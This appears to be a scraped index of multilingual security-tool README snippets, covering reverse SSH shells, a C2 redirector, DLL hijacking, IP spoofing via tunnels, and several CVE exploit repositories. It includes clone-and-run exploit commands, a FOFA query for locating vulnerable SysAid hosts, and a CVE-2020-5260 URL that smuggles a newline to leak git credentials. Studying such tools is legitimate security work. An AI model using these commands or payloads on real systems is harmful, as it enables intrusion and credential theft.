CVE-2017-9769

https://nvd.nist.gov/vuln/detail/CVE-2017-9769 CVE-2017-9769 可以向 Razer Synapse 2.20.15.1104 中的 rzpnk.sys 驱动程序发送特制的 IOCTL，该 IOCTL 被转发到 ZwOpenProcess，从而允许打开任意进程的句柄。 参考 https://www.godeye.club/cve/2020/11/06/001.html...

reverse_ssh

反向SSH 艺术作品致谢 https://www.instagram.com/smart.hedgehog.art/ 想要使用SSH实现反向Shell？现在你可以了。 使用原生SSH语法管理和连接反向Shell 动态、本地和远程转发 原生SCP和SFTP实现，用于从目标检索文件 完整的Windows Shell 多种网络传输协议，例如http、websockets、tls等 客户端与服务器相互认证，建立高信任控制通道 以及更多！text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | ...

sish

sish Open source SSH tunneling for HTTPS, WSS, TCP, aliases, and SNI. If you like the simplicity of serveo/ngrok-style sharing but want to use plain SSH and run your own infrastructure, sish is built for that. No custom client required for end users Public and private tunnel workflows Docker and...

sish

sish 用于 HTTPS、WSS、TCP、别名和 SNI 的开源 SSH 隧道技术。 如果你喜欢 serveo/ngrok 风格的便捷分享，但又想使用普通的 SSH 并运行自己的基础设施，那么 sish 就是为此而生的。 最终用户无需自定义客户端 支持公网和私有隧道工作流 提供 Docker 和二进制发布 专为生产级自托管设计 文档 | 托管服务 | 发布页 | Docker 镜像 | 由 pico.sh 赞助 为什么选择 sish sish 运行着一个专注于转发和多路复用的 SSH 服务器。用户可以使用他们熟悉的命令进行连接，sish 负责处理路由。 典型用例 通过 HTTPS...

CVE-2021-33766-ProxyToken

CVE-2021-33766 ProxyToken Soporta detección de un solo objetivo y detección masiva, soporta modificación de reglas de reenvío de correo Uso Detección de vulnerabilidades y modificación de reglas de reenvío de correo Resultado de la modificación de reglas de reenvío de correo Prueba de envío de...

Win-PortFwd

Win-PortFwd 使用原生 netsh 客户端设置 Windows 端口转发的 Powershell 脚本 安装： git clone https://github.com/deepzec/Win-PortFwd.git 用法： .\win-portfwd.ps1 或 powershell.exe -noprofile -executionpolicy bypass -file .\win-portfwd.ps1 示例： 注意：此脚本需要管理员权限才能运行，如果你在普通用户权限下运行，它会自动尝试提升权限。 作者：Deepu TV；欢迎通过 @twitter.com/DeepZec...

bento

This software is exprimental but we accept suggestions and contributions Bento 工具包（适用于渗透测试和CTF） Bento（弁当，bentō）是一种日式单份外卖或自制餐盒。 Bento Toolkit 是一个简单且最小化的 Docker 容器，专为渗透测试人员和 CTF 玩家设计。 它具有 Docker 的便携性，并增加了 X 窗口系统，因此您也可以运行 GUI 应用程序（如 Burp）。 前提条件 要运行 bento，您需要在主机上安装 Docker 和一个 Xorg 服务器。 在 Windows...

CVE-2023-27163

Request-Baskets 上的 SSRF 概念验证 CVE-2023-27163 本仓库包含 CVE-2023-27163 的概念验证代码 PoC，该漏洞是 request-baskets 直至 1.2.1 版本 中存在的一个服务端请求伪造 SSRF 漏洞。攻击者可利用精心构造的 API 请求，通过 /api/baskets/name 组件访问网络资源和敏感信息。 使用方法 root@kitploit: git clone https://github.com/MasterCode112/CVE-2023-27163.git bash ./CVE-2023-27163.sh...

CVE-2023-47246-EXP

漏洞详情 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. 受影响版本：SysAid Server23.3.36 漏洞复现 1. 执行脚本： root@kitploit: git clone https://github.com/W01fh4cker/CVE-2023-47246-EXP.git cd CVE-2023-47246-EXP pip install -r...

pyrexecd

PyRexecd PyRexecd 是一个用于 Windows 的独立 SSH 服务器。 功能： 独立的 Win32 应用程序（非服务），驻留在系统托盘中。 仅支持单一用户/公钥认证。 通过弹出窗口通知传入连接。 通过 stdin/stdout 发送/接收剪贴板文本。 PyPI 项目页面：https://pypi.python.org/pypi/PyRexecd/ 前提条件： Python 3 - http://www.python.org/ Paramiko - http://www.paramiko.org/ PyWin32 -...

samplicator

UDP Samplicator Este pequeño programa recibe datagramas UDP en un puerto determinado y los reenvía a un conjunto específico de receptores. Además, se puede especificar un divisor de muestreo N individualmente para cada receptor, que entonces solo recibirá uno de cada N de los paquetes recibidos...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

reverse-ssh

ReverseSSH 一个静态链接的 SSH 服务器，具备反向连接功能，提供简单而强大的远程访问。在 HackTheBox 挑战、CTF 或类似场景中最为有用。 已在 OSCP 考试准备过程中开发并广泛使用。 获取最新版本 功能 用 netcat 捕获反向 shell 很酷，确实如此，但谁没有因为肌肉记忆而意外地用键盘中断关闭过反向 shell 呢？除了脆弱性之外，这样的 shell 通常还缺少完全交互式访问、TAB 补全或历史记录等便利功能。 相反，你可以选择在目标上部署 轻量级 SSH 服务器 （ cmd。 对于旧版 Windows，你可以通过将 来自 OpenSSH for...

sidedoor

sidedoor sidedoor mantiene una conexión SSH o un túnel con un demonio de script de shell. El caso de uso principal es mantener un reenvío de puerto remoto al servidor SSH local o a otro puerto. De esta manera, se puede acceder al dispositivo local sin utilizar conexiones entrantes que podrían est...

flask_appengine_redirector

flaskappengineredirector Redireccionador C2 Flask de Google App Engine Una aplicación de ejemplo simple en Python Flask lista para ejecutarse en App Engine. Configuración de desarrollo Instalar SDK: https://cloud.google.com/sdk/docs/ Ejecutar instancia de desarrollo: devappserver.py app.yaml...

koppeling-p

koppeling-p 自适应DLL劫持 / 动态导出转发 - EAT保留 概述 本项目是对Nick Landers @monoxgas出色项目的有限、仅Python扩展，可在这里获取。 差异 与原项目唯一的区别是，koppeling-p（p代表保留）旨在克隆过程中保留DLL目标导出地址表。 动机 这个小工具是一个更高级库（Interleaver）的基础，对DriverJack研究和其它进行中的项目起到了重要作用。...

fapro

FaPro Free,Cross-platform,Single-file mass network protocol server simulator 中文Readme Description FaPro is a Fake Protocol Server tool, Can easily start or stop multiple network services. The goal is to support as many protocols as possible, and support as many deep interactions as possible for...

ipeeyoupeewepee

ipeeyoupeewepee 一个针对公网主机（主要是 Cisco 路由器）的扫描与攻击套件，这些主机转发未经认证的 IP-in-IP 和 GRE 协议封装的数据包。 此漏洞被称为“隧道协议的不安全实现”，编号为 CVE-2020-10136 和 CVE-2024-7595。它允许你从受影响的主机发送（但不能接收）任意 IP 数据包。 乍看之下，只能发送不能接收数据包似乎毫无用处。然而，许多受影响的主机位于未实施反向路径过滤的网络中。这意味着你可以利用这些漏洞，在没有缺乏源地址验证（通常称为 IP 头部修改或 IPHM）的主机的情况下，在公网上伪造 IP 地址，从而发起 DNS...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260演示记录 git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据，并在远程端请求身份验证时将返回的凭据附加到发出的请求中 root@kitploit: git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考链接: https://bugs.chromium.org/p/project-zero/issues/detail?id=2021...

CVE-2023-27163

PoC of SSRF on Request-Baskets CVE-2023-27163 This repository contains a Proof-of-Concept PoC for CVE-2023-27163, a Server-Side Request Forgery SSRF vulnerability discovered in request-baskets up to version 1.2.1. This vulnerability allows attackers to access network resources and sensitive...